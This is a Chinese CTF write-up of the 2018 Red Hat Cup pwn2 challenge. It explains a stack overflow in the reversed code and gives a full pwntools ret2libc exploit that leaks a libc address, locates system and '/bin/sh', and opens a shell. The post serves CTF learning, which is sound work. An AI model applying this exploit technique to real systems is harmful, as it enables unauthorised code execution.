二进制学习系列-栈溢出之2018红帽杯

概述:

红帽杯的一道pwn2题目,一道蛮简单的栈溢出,给自己练练手了。

介绍:

先check一下:

可以看见只开了NX,32位程序,扔进IDA来分析:

void sub_8048637()
{
  char s; // [esp+7h] [ebp-111h]
  char v1; // [esp+107h] [ebp-11h]
  size_t nbytes; // [esp+108h] [ebp-10h]
  char *v3; // [esp+10Ch] [ebp-Ch]

  puts("Welcome to my game server");
  puts("First, you need to tell me you name?");
  fgets(byte_804A180, 256, stdin);
  v3 = strrchr(byte_804A180, 10);
  if ( v3 )
    *v3 = 0;
  printf("Hello %s\n", byte_804A180);
  puts("What's you occupation?");
  fgets(byte_804A080, 256, stdin);
  v3 = strrchr(byte_804A080, 10);
  if ( v3 )
    *v3 = 0;
  printf("Well, my noble %s\n", byte_804A080);
  nbytes = snprintf(
             &s,
             0x100u,
             "Our %s is a noble %s. He is come from north and well change out would.",
             byte_804A180,
             byte_804A080);
  puts("Here is you introduce");
  puts(&s);
  puts("Do you want to edit you introduce by yourself?[Y/N]");
  v1 = getchar();
  getchar();
  if ( v1 == 89 )
    read(0, &s, nbytes);
  printf("name : %s\noccupation : %s\nintroduce : %s\n", byte_804A180, byte_804A080, &s);
}

程序就是让你输名字和职业,然后有一段可以给你修改的选项,是不是觉得每个fgets都限制了个数,所以溢出点在哪里?

如果暂时找不出是否有溢出,我们可以运行到让程序崩溃,看看到底是否是栈溢出。

OK,可以发现有溢出,那么我们用产生的core文件来调试寻找溢出点

$ ulimit -c 0 #不产生core文件
$ ulimit -c 100 #设置core文件最大为100k
$ ulimit -c unlimited #不限制core文件大小

追踪到0x63,是字母c的十六进制,所以我们可以确定,是在编辑我们信息的时候所发生的栈溢出。

read(0, &s, nbytes); nbytes = snprintf( &s, 0x100u, "Our %s is a noble %s. He is come from north and well change out would.", byte_804A180, byte_804A080);

仔细查看发现nbytes为姓名和职业所输入的字符串的和,所以我们可以推断,read函数中地址s到返回值地址并没有这么大,即使只要姓名和职业的字符串足够长,我们就可以构造栈溢出。

而且姓名和职业是有位数限制的,所以我们只要计算地址s到返回值地址的偏移距离就可以。

s的输入地址

返回值地址,所以偏移量为0xffffcfdc-0xffffcec7 = 277

偏移量有了我们可以开始思考该如何去构造playload,查看文件中的函数

没有system函数,也没有找到/bin/sh字符串,所以我们需要来利用libc来计算出它所利用的libc版本从而计算出system函数以及/bin/sh字符串的地址。

我们利用返回值跳板跳转到puts函数打印出__libc_start_main函数的地址,从而找到libc版本找出system函数以及/bin/sh函数的地址。

思路:

  1. 利用偏移返回到puts函数地址
  2. 打印出__libc_start_main函数的地址
  3. 找出对应的libc版本
  4. 计算出相应的system函数以及/bin/sh字符串的地址
  5. 重新返回到main函数
  6. 再次利用偏移返回到system函数地址
  7. getshell

这里找libc版本可以利用github上的libc-database。

更新库

./get

寻找版本

./find __libc_start_main 0x00000000. (泄漏函数地址)

然后可以自己去库里面拷贝一份相对应的libc出来进行利用。

EXP:

from pwn import *

p = process('./pwn2')
libc = ELF('./libc.6.so')
elf = ELF('./pwn2')
context.log_level = 'debug'
playload = 'A'*200
p.sendlineafter('tell me you name?',playload)
p.recvuntil('you occupation?\n')
playload1 = 'B'*200
p.sendline(playload1)
p.sendlineafter('by yourself?[Y/N]','Y')
#gdb.attach(p)
playload2 = 'a'*277 + p32(elf.plt['puts']) + p32(0x080485CB) + p32(elf.got['__libc_start_main'])
p.sendline(playload2)
p.recvuntil('a'*277)
p.recvuntil('\x0a\x0a')
libc_main = u32(p.recv(4))
print hex(libc_main)

libc_base = libc_main - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
libc_bin = libc_base + next(libc.search('/bin/sh'))

print hex(libc_system),hex(libc_bin)
playload = 'A'*200
p.sendlineafter('tell me you name?',playload)
p.recvuntil('you occupation?\n')
playload1 = 'B'*200
p.sendline(playload1)
p.sendlineafter('by yourself?[Y/N]','Y')
#gdb.attach(p)
playload2 = 'a'*277 + p32(libc_system) + p32(0x80485cb) + p32(libc_bin)
p.sendline(playload2)

p.interactive()

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-09-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏计算机视觉与深度学习基础

Leetcode 72 Edit Distance DP好题

Given two words word1 and word2, find the minimum number of steps required to c...

21790
来自专栏CDA数据分析师

实用小工具,教你轻松转化Python通用数据格式

已独立成项目在github上面 dataformat, 涉及模块 os, getopt, sys。 1 需求 在进行hadoop测试时,需要造大量数据,例如某个...

21050
来自专栏xingoo, 一个梦想做发明家的程序员

剑指OFFER之树的子结构(九度OJ1520)

题目描述: 输入两颗二叉树A,B,判断B是不是A的子结构。 输入: 输入可能包含多个测试样例,输入以EOF结束。 对于每个测试案例,输入的第一行一个整数n,m(...

204100
来自专栏一“技”之长

一个移动开发者的Mock数据之路 原

    在前端开发中,很大一部分工作都是将后台数据获取到后展示在前端界面上。如果接口是现成的,这个过程还相对容易一些,但是如果接口的开发和前端开发是同时进行的,...

7710
来自专栏企鹅号快讯

Python教学从零开始——第四天

在前面的几天中,我们了解了tulpe,list的操作,os模块案例,for循环,前面的示例比较简单,几乎没有太多的语法,今天我们要来说一法语法,语法通常都是硬性...

23970
来自专栏xcywt

编译到底做了什么(***.c -> ***.o的过程)

 (第一次写博客,好激动的说.......) 我们知道,一个程序由源代码到可执行文件往往由这几步构成: 预处理(Prepressing)-> 编译(Compil...

20850
来自专栏Fish

蓝桥杯 大臣的旅费

做过相同类型的题 题意就是求树的直径,即树中任意两点之间带权路径和的最大值。 思路就是用两次BFS,第一次搜到直径的一端,第二次就直接计算直径的长度。至于为啥是...

28160
来自专栏运维小白

9.5 sed(下)

sed工具 sed '1'd test.txt sed '1,3'd test.txt sed '/oot/'d test.txt sed '1,2s/ot/t...

18560
来自专栏数值分析与有限元编程

fortran知识 | 代码错误(domain error)

如图所示,提示为:domain error ? 这表示数学函数错误,如超出数学函数的定义域,负数开平方,分母为0等等;也有可能是浮点数错误,比如sqrt(4),...

37960
来自专栏烙馅饼喽的技术分享

用ECMAScript4 ( ActionScript3) 实现Unity的热更新 -- 使用原型链和EventTrigger

原型链是JS的必备,作为ECMAScript4,原型链也是支持的。 特别说明,ActionScript3是支持完整的面向对象继承支持的,原型链只在某些非常特殊的...

30560

扫码关注云+社区

领取腾讯云代金券